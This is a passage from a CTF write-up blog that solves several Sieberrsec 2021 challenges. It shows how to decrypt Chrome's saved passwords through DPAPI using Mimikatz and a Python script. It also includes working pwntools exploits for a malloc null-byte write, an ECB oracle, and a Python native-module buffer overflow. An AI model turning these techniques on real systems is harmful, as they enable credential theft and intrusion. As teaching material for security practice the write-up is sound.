Next, we need to decrypt this blob with DPAPI. According to HackTricks, the DPAPI master keys can be found in the AppData/Roaming/Microsoft/Protect/ directory under the user’s SID. These master keys are, of course, themselves protected by the user’s computer password.

Looking in the Protect directory yields the following files, also conveniently letting us know the user’s SID. 37b49573-c2de-487a-81be-b8c2f9b4df15 is the master key file.

$ find AppData/Roaming/Microsoft/Protect/
AppData/Roaming/Microsoft/Protect/
AppData/Roaming/Microsoft/Protect//S-1-5-21-1937579505-2679969469-2152769792-1001
AppData/Roaming/Microsoft/Protect//S-1-5-21-1937579505-2679969469-2152769792-1001/Preferred
AppData/Roaming/Microsoft/Protect//S-1-5-21-1937579505-2679969469-2152769792-1001/37b49573-c2de-487a-81be-b8c2f9b4df15
AppData/Roaming/Microsoft/Protect//CREDHIST

The decrypted master key can be extracted from this file using Mimikatz with the user’s password. The final key : field contains the master key that can be used with other Mimikatz commands.

From the challenge prompt, we are given the user’s computer password: Password1.

mimikatz # dpapi::masterkey /in:37b49573-c2de-487a-81be-b8c2f9b4df15 /sid:S-1-5-21-1937579505-2679969469-2152769792-1001 /password:Password1 /protected
**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {37b49573-c2de-487a-81be-b8c2f9b4df15}
  dwFlags            : 00000005 - 5
  dwMasterKeyLen     : 000000b0 - 176
  dwBackupKeyLen     : 00000090 - 144
  dwCredHistLen      : 00000014 - 20
  dwDomainKeyLen     : 00000000 - 0
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : 0eab1ddb63fd2af7084ce8d9f9e63627
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 5c84f8625f8a4c9c787de1e9f6b32d132b658794d9f7640e3454b29ac5f5b36e6bfd4f86bf1d919bac543a252d5a94185e4dd49b1590e335675457e9f76ad91d9a0b25072b1b4b3bb9ef60b776cc6dfabfe3e683dc4cfb442016b508651290ad1d29b2cba2d972f73445c7a4788ffdca21aa3f341776aaf5f8b5b42cbb417da70d93a2f185b458a6e5b089f4b0c93412

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : b48c96813ad38e18d0c844b5e04011bc
    rounds           : 00001f40 - 8000
    algHash          : 0000800e - 32782 (CALG_SHA_512)
    algCrypt         : 00006610 - 26128 (CALG_AES_256)
    pbKey            : 3a7434ac385f98dae77dfef87387bdab92ad5d68e2f100e2738fc0b359425437903a60e1cb84979b93217e204af73876ea26feb2c1e104467a05a5052c95446d8f0b31767a2e4e411cb0a11fa0a39c1e12e43ad7d68069bfe5a06baef4727bac962a0326ad1e1c9e051206321c2e6a30

[credhist]
  **CREDHIST INFO**
    dwVersion        : 00000003 - 3
    guid             : {3a0a76a2-7cde-4675-ba7d-b3e858d5f9ad}



[masterkey] with password: Password1 (protected user)
  key : 907de0d2d2f63f6478cfd2433dbf1c868a440246f415d709598fd5cfaceb422cb878944803a6b20a02ec593af2e5bceca5c8fae4cb175680b867ab8f1b45067f
  sha1: 6f76fc2c00dbd0c024a7779ad27d9397c1f833da

mimikatz #

The previously dumped os_crypt blob can now be decrypted with another Mimikatz command using the extracted master key.

mimikatz # dpapi::blob /masterkey:907de0d2d2f63f6478cfd2433dbf1c868a440246f415d709598fd5cfaceb422cb878944803a6b20a02ec593af2e5bceca5c8fae4cb175680b867ab8f1b45067f /in:"blob" /out:blob.dec
**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {37b49573-c2de-487a-81be-b8c2f9b4df15}
  dwFlags            : 00000000 - 0 ()
  dwDescriptionLen   : 00000002 - 2
  szDescription      :
  algCrypt           : 00006610 - 26128 (CALG_AES_256)
  dwAlgCryptLen      : 00000100 - 256
  dwSaltLen          : 00000020 - 32
  pbSalt             : adcafa56c442180a59709485f068d01dc87250cae13aee76bd585cb4a9895ad9
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 0000800e - 32782 (CALG_SHA_512)
  dwAlgHashLen       : 00000200 - 512
  dwHmac2KeyLen      : 00000020 - 32
  pbHmack2Key        : 8f022f192c5a0c18bcce2f26f9e2bfe5d52eda621238662ef03f88d88b2eb27b
  dwDataLen          : 00000030 - 48
  pbData             : 0e13d11f6075cad6a6e72c1a6c1b10500c506637d1f45b4d5c8d52a2c78034ffa88a802c92f7974c5c8f4aa01158a558
  dwSignLen          : 00000040 - 64
  pbSign             : 7ec6ab98c1b40f5a3c7b82c40e075b2fa30f3711b71c5def2cc67d60368b6041e212a9a2640dd891c56995b84260e2d266a8b10d801b35649bb316d61bedf437

 * volatile cache: GUID:{37b49573-c2de-487a-81be-b8c2f9b4df15};KeyHash:6f76fc2c00dbd0c024a7779ad27d9397c1f833da
 * masterkey     : 907de0d2d2f63f6478cfd2433dbf1c868a440246f415d709598fd5cfaceb422cb878944803a6b20a02ec593af2e5bceca5c8fae4cb175680b867ab8f1b45067f
description :
Write to file 'blob.dec' is OK

mimikatz #

To do the final decryption of the Chrome login credentials, we can adapt this Python script to use the manually dumped Chrome os_crypt key.

#Full Credits to LimerBoy
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv

def get_secret_key():
    secret_key = open('blob.dec', 'rb')
    return secret_key

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(ciphertext, secret_key):
    try:
        #(3-a) Initialisation vector for AES decryption
        initialisation_vector = ciphertext[3:15]
        #(3-b) Get encrypted password by removing suffix bytes (last 16 bits)
        #Encrypted password is 192 bits
        encrypted_password = ciphertext[15:-16]
        #(4) Build the cipher to decrypt the ciphertext
        cipher = generate_cipher(secret_key, initialisation_vector)
        decrypted_pass = decrypt_payload(cipher, encrypted_password)
        decrypted_pass = decrypted_pass.decode()
        return decrypted_pass
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Unable to decrypt, Chrome version <80 not supported. Please check.")
        return ""

def get_db_connection(chrome_path_login_db):
    try:
        return sqlite3.connect(chrome_path_login_db)
    except Exception as e:
        print("%s"%str(e))
        print("[ERR] Chrome database cannot be found")
        return None

if __name__ == '__main__':
    secret_key = get_secret_key()
    chrome_path_login_db = "Login Data"
    conn = get_db_connection(chrome_path_login_db)
    if(secret_key and conn):
        cursor = conn.cursor()
        cursor.execute("SELECT action_url, username_value, password_value FROM logins")
        for index,login in enumerate(cursor.fetchall()):
            url = login[0]
            username = login[1]
            ciphertext = login[2]
            if(url!="" and username!="" and ciphertext!=""):
                decrypted_password = decrypt_password(ciphertext, secret_key)
                print("Sequence: %d"%(index))
                print("URL: %s\nUser Name: %s\nPassword: %s\n"%(url,username,decrypted_password))
                print("*"*50)
        cursor.close()
        conn.close()

Running the script gives us:

$ python decrypt_chrome_password.py
Sequence: 0
URL: http://challs.sieberrsec.tech:23547/dcfa237943d4fd7e2a514ca54642efaccd2cdbd5003bfb19a1e70737273e1190/
User Name: Alex24
Password: IHeartCookies

**************************************************

Logging into the site with the decrypted Chrome credentials gives us our flag:

$ curl 'http://challs.sieberrsec.tech:23547/dcfa237943d4fd7e2a514ca54642efaccd2cdbd5003bfb19a1e70737273e1190/' \
    --data 'username=Alex24&password=IHeartCookies&submit=Login'

<!DOCTYPE html>
<html>
    <head>
        <title>Flag</title>
        ...
    </head>
    <body>
        <div class="topnav">
            <h1>Flag</h1>
        </div>
        <br><br>
        <div class="flagbox">
            <p>IRS{aL1_uR_p45sw0rD_4r3_b3LOnG_t0_u5}</p>
        </div>
    </body>
</html>

Flag: IRS{aL1_uR_p45sw0rD_4r3_b3LOnG_t0_u5}

Sieberrsec 3.0 CTF (2021) - Malloc (Pwn)

2021-12-28T00:00:00+08:00

Summary: Control of the size parameter to malloc and a subsequent lack of checking that the returned pointer is not 0 leads to an arbitrary null byte write to sensitive addresses such as a global variable. This variable is then used in a check condition to allow the printing of a flag.

Challenge Prompt

malloc
Binary Exploitation

Solves (2) - 400 Points

Can you somehow get the flag? Have fun!

nc challs.sieberrsec.tech 1470

#include <unistd.h>

#include <stdio.h>
#include <stdlib.h>

// cc malloc.c -o malloc -fstack-protector-all
int main(void)
{
	// Variables
	int *arr; // int pointer to an array
	char *msg; // C-string to store your message
	size_t length = 0;

	// Welcome message
	puts("Welcome to Sieberrsec CTF!");

	// Allocates 123456 bytes of memory
	arr = (int *)malloc(123456);

	// Sets first element of arr to 1
	arr[0] = 1;

	// Leaks the memory address of arr
	printf("Leak: %p\n", arr);

	// Gets length of your message
	printf("Length of your message: ");
	scanf("%lu", &length);

	// Allocates memory to store your message as a C-string
	// +1 is to store the null-byte that ends the string
	msg = malloc(length + 1);

	// Reads length bytes of input into msg
	printf("Enter your message: ");
	read(0, msg, length);

	// Null-byte to end the string
	msg[length] = 0;

	// Write length bytes from msg
	write(1, msg, length);

	// Your goal: somehow make arr[0] == 0
	if (arr[0] == 0) {
		system("cat flag");
	}
	return 0;
}

Solution

First, we compile the program according to the challenge prompt.

$ cc malloc.c -o malloc -fstack-protector-all

We can run this without any buffering with the following command. From the source code and the dynamic behaviour of the program, we can observe that there should not be any buffer overflow issues here since the calculation of the length appears to be sound and no integer type confusion is occurring.

$ stdbuf -i0 -o0 -e0 ./malloc
Welcome to Sieberrsec CTF!
Leak: 0x1cb9010
Length of your message: 100
Enter your message: AAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAA

Instead, the issue here is that the return value of malloc is not checked. On any sufficiently large size provided, the return value of the call will return zero.

$ $ ltrace ./malloc
__libc_start_main(0x400766, 1, 0x7fff90b069b8, 0x400870 <unfinished ...>
puts("Welcome to Sieberrsec CTF!"Welcome to Sieberrsec CTF!
)                                           = 27
malloc(123456)                                                               = 0x1588420
printf("Leak: %p\n", 0x1588420Leak: 0x1588420
)                                              = 16
printf("Length of your message: ")                                           = 24
__isoc99_scanf(0x400932, 0x7fff90b068b0, 0x7f73d935b780, 24Length of your message: 9999999999999
)                 = 1
malloc(10000000000000)                                                       = 0
printf("Enter your message: ")                                               = 20
read(0A
, nil, 9999999999999)                                                  = -1
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++

This behaviour in conjunction with the following line of code gives us an arbitrary zero byte write primitive to any address.

	// Null-byte to end the string
	msg[length] = 0;

Since the goal is to write to this array using the leaked address, we can use the primitive by simply providing the leaked address as the length. This eventually resolves to &0[leak] = 0 which writes a zero byte to the exact address we require.

    // Allocates 123456 bytes of memory
	arr = (int *)malloc(123456);

	// Sets first element of arr to 1
	arr[0] = 1;

	// Leaks the memory address of arr
	printf("Leak: %p\n", arr);

    ...

	// Your goal: somehow make arr[0] == 0
	if (arr[0] == 0) {
		system("cat flag");
	}
	return 0;

Putting this all together in an exploit gives us:

#!/usr/bin/env python

from pwn import *


def main():
    p = remote('challs.sieberrsec.tech', 1470)

    # Get the leaked address.
    p.recvuntil(b'Leak: ')
    leak = int(p.recvline().strip(), 16)
    log.info('Leaked Address: {}'.format(hex(leak)))

    # Send the size of the leaked address to write a zero at it.
    log.info('Allocating {} bytes.'.format(leak))
    p.sendline(str(leak).encode())

    # Send a bogus message.
    p.recvuntil(b'Enter your message: ')
    log.info('Sending bogus message')
    p.sendline(b'amon')

    # Get the flag.
    flag = p.recvline().strip()
    log.success('Flag: {}'.format(flag.decode()))


if __name__ == '__main__':
    main()

Running the script gives us the flag:

$ python exploit.py
[+] Opening connection to challs.sieberrsec.tech on port 1470: Done
[*] Leaked Address: 0x55f3fd5952a0
[*] Allocating 94506415903392 bytes.
[*] Sending bogus message
[+] Flag: IRS{Y0U_4R3_4W350M3_CJAVFSHA}
[*] Closed connection to challs.sieberrsec.tech port 1470

Flag: IRS{Y0U_4R3_4W350M3_CJAVFSHA}

Sieberrsec 3.0 CTF (2021) - totallyfoolproofcrypto (Crypto)

2021-12-28T00:00:00+08:00

Summary: Standard byte-by-byte ECB oracle decryption.

Challenge Prompt

totallyfoolproofcrypto
Cryptography

Solves (7) - 884 Points

In hindsight, rolling my own crypto was a rather stupendous stroke of stupidity. I'll be switching to a well-known, verified library to fix this.

from Crypto.Util.Padding import pad,unpad
from Crypto.Cipher import AES
import os

with open("flag", 'rb') as f: flag = f.read().strip()
key = os.urandom(16)

while 1:
    pt = input('> ').encode()
    padded = pad(pt+flag, AES.block_size)
    cipher = AES.new(key, AES.MODE_ECB)
    print(cipher.encrypt(padded).hex())
nc challs.sieberrsec.tech 31311

A first blood prize of one (1) month of Discord Nitro is available for this challenge.

Some amount of "bruteforce" will be necessary -- and hence legal -- for this challenge.

Solution

This challenge is a pretty standard byte-by-byte ECB oracle challenge. For an illustrated writeup, please see this excellent article by c0nrad.

First, let’s identify the maximum possible number of blocks comprising the flag. We can do this by sending an empty prefix and getting a sample encrypted output.

nc challs.sieberrsec.tech 31311
>
d4037cd10db2222f01cf737f8f08353c7879f5d8932dfea5916d8ea68e943681b5eed8d24350b43ae5c1be9f26e58b90
>

Some quick math tells us that the likely number of blocks is 3.

In [243]: len('d4037cd10db2222f01cf737f8f08353c7879f5d8932dfea5916d8ea68e943681b5eed8d24350b43ae5c1be9f26e58b90')/2/16
Out[243]: 3.0

We can start off with an initial trial of A characters of length 3 * 16 and iterating through possible candidates (restricted to just a subset of printable bytes) to obtain the flag byte-by-byte with the following script:

#!/usr/bin/env python

import string
from pwn import *

# context.log_level = 'debug'

max_blocks = 3
block_size = 16

def main():
    p = remote('challs.sieberrsec.tech', 31311)

    max_size_secret = max_blocks * block_size
    secret = b''

    for size in range((max_size_secret - 1), -1, -1):
        # Original
        origin = b"A" * size
        p.recvuntil(b'> ')
        p.sendline(origin)
        original_blocks = p.recvline().strip()

        tmp = b"A" * size + secret
        for character in string.printable[:95]:
            cur_line = tmp + character.encode()
            p.recvuntil(b'> ')
            p.sendline(cur_line)
            candidate_blocks = p.recvline().strip()
            if original_blocks[:max_size_secret * 2] == candidate_blocks[:max_size_secret * 2]:
                secret += character.encode()
                log.info('{}'.format(secret.decode()))
                break

        if len(secret) + size <= max_size_secret - 1:
            log.success('Flag: {}'.format(secret.decode()))
            return


if __name__ == '__main__':
    main()

Running the script gives us the flag:

$ python solve.py
[+] Opening connection to challs.sieberrsec.tech on port 31311: Done
[*] I
[*] IR
[*] IRS
[*] IRS{
[*] IRS{w
[*] IRS{w0
[*] IRS{w0w
[*] IRS{w0w_
[*] IRS{w0w_w
[*] IRS{w0w_wh
[*] IRS{w0w_wh@
[*] IRS{w0w_wh@t
[*] IRS{w0w_wh@t_
[*] IRS{w0w_wh@t_a
[*] IRS{w0w_wh@t_an
[*] IRS{w0w_wh@t_an_
[*] IRS{w0w_wh@t_an_0
[*] IRS{w0w_wh@t_an_0r
[*] IRS{w0w_wh@t_an_0ri
[*] IRS{w0w_wh@t_an_0rig
[*] IRS{w0w_wh@t_an_0rig1
[*] IRS{w0w_wh@t_an_0rig1n
[*] IRS{w0w_wh@t_an_0rig1na
[*] IRS{w0w_wh@t_an_0rig1nal
[*] IRS{w0w_wh@t_an_0rig1nal_
[*] IRS{w0w_wh@t_an_0rig1nal_p
[*] IRS{w0w_wh@t_an_0rig1nal_pr
[*] IRS{w0w_wh@t_an_0rig1nal_pr0
[*] IRS{w0w_wh@t_an_0rig1nal_pr0b
[*] IRS{w0w_wh@t_an_0rig1nal_pr0bl
[*] IRS{w0w_wh@t_an_0rig1nal_pr0bl3
[*] IRS{w0w_wh@t_an_0rig1nal_pr0bl3m
[*] IRS{w0w_wh@t_an_0rig1nal_pr0bl3m}
[+] Flag: IRS{w0w_wh@t_an_0rig1nal_pr0bl3m}

Flag: IRS{w0w_wh@t_an_0rig1nal_pr0bl3m}

Sieberrsec 3.0 CTF (2021) - Turbo Fast Crypto (Crypto/Pwn)

2021-12-28T00:00:00+08:00

Summary: An insecurely implemented Python native library allows for an attacker to exfiltrate the XOR key used to ‘encrypt’ arbitrary data as well as contains an unbounded buffer overflow on the encryption buffer allowing partial overwrite of the ml_meth pointer of a PyMethodDef structure to trigger a win function.

Challenge Prompt

Part 1:

Turbo Fast Crypto, part 1
Cryptography

Solves (29) - 117 Points

We found the frontend code for a remote encryption service at nc challs.sieberrsec.tech 3477:

import turbofastcrypto # The source code for this module is only available for part 2 of this challenge :)
while 1:
    plaintext = input('> ')
    ciphertext = turbofastcrypto.encrypt(plaintext)
    print('Encrypted: ' + str(ciphertext))

My partner says it operates under the hood with "XOR", whatever that means. I need you to recover the key.

Part 2:

Turbo Fast Crypto, part 2
Binary Exploitation

Solves (1) - 900 Points

Using the key you extracted, we found a link to the source code for turbofastcrypto.
There happens to be a secret flag file on the server, and you need to extract it.

A first blood prize of one (1) month of Discord Nitro is available for this challenge.

(the target server is the same as part 1)

Attachment: challenge file

Solution

Part 1

From the Python source given in the part 1 prompt, an unknown library is imported and used to encrypt some user supplied string. Since the clue that XOR is used, we can get a sample and decrypt it with our known plaintext to get the key.

nc challs.sieberrsec.tech 3477
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Encrypted: b'\x08\x13\x12:2$"3$52\x1e 3$\x1e3$7$ -$%``<AAAAAAAAAAAAAAAA'

Decrypting it:

In [227]: xor(b'\x08\x13\x12:2$"3$52\x1e 3$\x1e3$7$ -$%``<AAAAAAAAAAAAAAAA', b'A')
Out[227]: b'IRS{secrets_are_revealed!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Playing with the application a little foreshadows the next part a little when it demonstrates some odd stateful behaviour when sending multiple strings:

nc challs.sieberrsec.tech 3477
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Encrypted: b'\x08\x13\x12:2$"3$52\x1e 3$\x1e3$7$ -$%``<AAAAAAAAAAAAAAAA'
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Encrypted: b'IRS{secrets_are_revealed!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>

Flag: IRS{secrets_are_revealed!!}

Part 2

Unpacking the provided tar file yields the source code to the previous part including a Python native module.

$ file tfc.tar.gz
tfc.tar.gz: gzip compressed data, from Unix, original size modulo 2^32 51200
$ tar xvf tfc.tar.gz
x distrib_turbofastcrypto/
x distrib_turbofastcrypto/README.md
x distrib_turbofastcrypto/tfc.py
x distrib_turbofastcrypto/compile.sh
x distrib_turbofastcrypto/setup.py
x distrib_turbofastcrypto/checksums.txt
x distrib_turbofastcrypto/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
x distrib_turbofastcrypto/turbofastcrypto.c

Examining the tfc.py script confirms that this is the ‘frontend’ we dealt with previously. Thus, we should focus on the turbofastcrypto library instead.

import turbofastcrypto # The source code for this module is only available for part 2 of this challenge :)
while 1:
    plaintext = input('> ')
    ciphertext = turbofastcrypto.encrypt(plaintext)
    print('Encrypted: ' + str(ciphertext))

We are given the compiled turbofastcrypto.cpython-38-x86_64-linux-gnu.so shared object and the source code to it. It appears to implement a simple XOR cryptography operation using a fixed sized buffer called IV containing the flag in part 1. It also contains the print_flag function which we are supposed to call somehow.

#define PY_SSIZE_T_CLEAN
#include <Python.h>

char IV[64] = "IRS{secrets_are_revealed!!}";

#pragma GCC optimize ("O0")
__attribute__ ((used)) static void print_flag() { system("cat flag"); }

static PyObject *encrypt(PyObject *self, PyObject *args) {
    const char *cmd;
    Py_ssize_t len;
    if (!PyArg_ParseTuple(args, "s#", &cmd, &len)) return NULL;
    for (int i = 0; i < len; i++) IV[i] ^= cmd[i];
    return PyBytes_FromStringAndSize(IV, len);
}

static PyMethodDef mtds[] = {
    {"encrypt", encrypt, METH_VARARGS, "Encrypt a string" },
    { NULL, NULL, 0, NULL }
};

static struct PyModuleDef moddef = {
    PyModuleDef_HEAD_INIT,
    "turbofastcrypto",
    NULL,
    -1,
    mtds
};

PyMODINIT_FUNC PyInit_turbofastcrypto() { return PyModule_Create(&moddef);}

One obvious issue with the code is that the length of the user input obtained through input() is not validated against the size of the buffer, thus we can overflow it and corrupt the structures following it. We can start an instance of the script to debug it in GDB to observe what the memory layout looks like and see if we can produce a crash.

First, we can attach to an instance and create a DeBrujin sequence pattern.

gef➤  pattern create 500
[+] Generating a pattern of 500 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaa
[+] Saved as '$_gef3'
gef➤

Next, submitting it to the program and allowing it to run results in a crash at when attempting to call into 0x6261616161616162.

gef➤  c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
module_traverse (m=0x7fc7c719fc70, visit=0x54f930 <visit_decref>, arg=0x7fc7c719fc70) at Objects/moduleobject.c:775
775	Objects/moduleobject.c: No such file or directory.
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x6261616161616162 ("baaaaaab"?)
$rbx   : 0x00007fc7c719fc70  →  0x0000000000000004
$rcx   : 0x00007fc7c72ce058  →  0xff07ff04ff05ffff
...
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x474286 <module_traverse+22> mov    rax, QWORD PTR [rax+0x50]
     0x47428a <module_traverse+26> test   rax, rax
     0x47428d <module_traverse+29> je     0x474295 <module_traverse+37>
 →   0x47428f <module_traverse+31> call   rax
     0x474291 <module_traverse+33> test   eax, eax
     0x474293 <module_traverse+35> jne    0x4742b0 <module_traverse+64>
     0x474295 <module_traverse+37> mov    rdi, QWORD PTR [rbx+0x10]
     0x474299 <module_traverse+41> xor    eax, eax
     0x47429b <module_traverse+43> test   rdi, rdi
───────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x6261616161616162 (
)
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "python", stopped 0x47428f in module_traverse (), reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x47428f → module_traverse(m=0x7fc7c719fc70, visit=0x54f930 <visit_decref>, arg=0x7fc7c719fc70)
[#1] 0x550256 → subtract_refs(containers=<optimized out>)
[#2] 0x550256 → collect(generation=0x2, n_collected=0x7ffe16255f78, n_uncollectable=0x7ffe16255f80, nofail=0x0, state=<optimized out>)
[#3] 0x551673 → collect_with_callback(state=<optimized out>, generation=0x2)
[#4] 0x551673 → PyGC_Collect()
[#5] 0x551673 → _PyGC_CollectIfEnabled()
[#6] 0x524937 → Py_FinalizeEx()
[#7] 0x5262c5 → Py_FinalizeEx()
[#8] 0x42cb9b → Py_RunMain()
[#9] 0x42d574 → pymain_main(args=0x7ffe162560d0)
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

This translates to an offset of 208. Thus, we can possibly obtain RIP control through a standard buffer overflow.

gef➤  pattern offset 0x6261616161616162
[+] Searching for '0x6261616161616162'
[+] Found at offset 208 (little-endian search) likely
[+] Found at offset 208 (big-endian search)
gef➤

However, we have to deal with ASLR now. Our goal is to obtain the base address of the shared object so we can calculate the absolute address of print_flag. We break on the encrypt function to observe if we can utilise the functionality to leak some addresses.

gef➤  br encrypt
Breakpoint 1 at 0x7fc7c820d1c0: file turbofastcrypto.c, line 9.
gef➤  c
Continuing.

Breakpoint 1, encrypt (self=0x7fc7c719fc70, args=0x7fc7c7266910) at turbofastcrypto.c:9
9	static PyObject *encrypt(PyObject *self, PyObject *args) {
...

Examining the memory starting from the IV buffer shows that there appears to be pointers contained within the mtds structure.

gef➤  x/32xg IV
0x7fdc26804060 <IV>:	0x726365737b535249	0x5f6572615f737465
0x7fdc26804070 <IV+16>:	0x64656c6165766572	0x00000000007d2121
0x7fdc26804080 <IV+32>:	0x0000000000000000	0x0000000000000000
0x7fdc26804090 <IV+48>:	0x0000000000000000	0x0000000000000000
0x7fdc268040a0 <mtds>:	0x00007fdc2680200c	0x00007fdc268011c0
0x7fdc268040b0 <mtds+16>:	0x0000000000000001	0x00007fdc26802014
0x7fdc268040c0 <mtds+32>:	0x0000000000000000	0x0000000000000000
0x7fdc268040d0 <mtds+48>:	0x0000000000000000	0x0000000000000000
0x7fdc268040e0 <moddef>:	0x0000000000000002	0x000000000090ffa0
0x7fdc268040f0 <moddef+16>:	0x00007fdc26801290	0x000000000000000f
0x7fdc26804100 <moddef+32>:	0x00007fdc25794480	0x00007fdc26802025
0x7fdc26804110 <moddef+48>:	0x0000000000000000	0xffffffffffffffff
0x7fdc26804120 <moddef+64>:	0x00007fdc268040a0	0x0000000000000000
0x7fdc26804130 <moddef+80>:	0x0000000000000000	0x0000000000000000
0x7fdc26804140 <moddef+96>:	0x0000000000000000	0x0000000000000000
0x7fdc26804150:	0x332e392075746e75	0x75627537312d302e
gef➤

Testing the first pointer 0x00007fdc2680200c shows that it lies at an offset of 0x200c or 8204 from the base address of the shared object.

gef➤  vmmap turbofastcrypto.cpython-38-x86_64-linux-gnu.so
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007fdc26800000 0x00007fdc26801000 0x0000000000000000 r-- /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
0x00007fdc26801000 0x00007fdc26802000 0x0000000000001000 r-x /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
0x00007fdc26802000 0x00007fdc26803000 0x0000000000002000 r-- /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
0x00007fdc26803000 0x00007fdc26804000 0x0000000000002000 r-- /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
0x00007fdc26804000 0x00007fdc26805000 0x0000000000003000 rw- /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
gef➤  vmmap 0x00007fdc268011c0 - 0x00007fdc26800000
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x00007fdc26801000 0x00007fdc26802000 0x0000000000001000 r-x /vagrant/sieberrsec/tfc/distrib_turbofastcrypto_old/turbofastcrypto.cpython-38-x86_64-linux-gnu.so
gef➤  p 0x00007fdc2680200c - 0x00007fdc26800000
$9 = 0x200c
gef➤

Thus, we can use the XOR operation to leak this address, calculate the base address from it, and finally derive the print_flag address. A quick proof-of-concept script was created to test the leak and RIP control. To begin with, an address of 0x4242424242424242 was used for validation.

#!/usr/bin/env python

from pwn import *

mtds_offset = 8204
printflag_offset = 0x11a0

context.log_level = 'debug'

def main():
    #p = remote("challs.sieberrsec.tech", 3477)
    p = process(["python", "tfc.py"])

    # Leak the base address of the shared object.
    p.recvuntil(b'>')
    p.sendline(b'A'*72)
    p.recvuntil(b'Encrypted: ')
    leak = xor(util.safeeval.expr(p.recvline())[-8:], b'A')
    mtds_leak = u64(leak)
    log.info('mtds leak: {}'.format(hex(mtds_leak)))

    so_base = mtds_leak - mtds_offset
    log.info('shared object base: {}'.format(hex(so_base)))

    printflag = so_base + printflag_offset
    log.info('print_flag: {}'.format(hex(printflag)))

    # Send the exploit.
    input()
    printflag = 0x4242424242424242
    payload = p64(printflag)
    payload = payload.rjust(208+8, b'A')
    p.recvuntil(b'>')
    p.sendline(payload)

    # Trigger
    payload = b'A'*208
    p.recvuntil(b'>')
    p.sendline(payload)

    p.interactive()


if __name__ == '__main__':
    main()

Running the script shows the expected crash:

$ python exploit.py
[+] Starting local process '/home/vagrant/.pyenv/versions/3.8.9/bin/python' argv=[b'python', b'tfc.py'] : pid 14968
[DEBUG] Received 0x2 bytes:
    b'> '
[DEBUG] Sent 0x49 bytes:
    b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
[DEBUG] Received 0x74 bytes:
    b'Encrypted: b\'\\x08\\x13\\x12:2$"3$52\\x1e 3$\\x1e3$7$ -$%``<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM\\x91\\x14\\xec\\xd0>AA\'\n'
    b'> '
[*] mtds leak: 0x7f91ad55d00c
[*] shared object base: 0x7f91ad55b000
[*] print_flag: 0x7f91ad55c1a0

[DEBUG] Sent 0xd9 bytes:
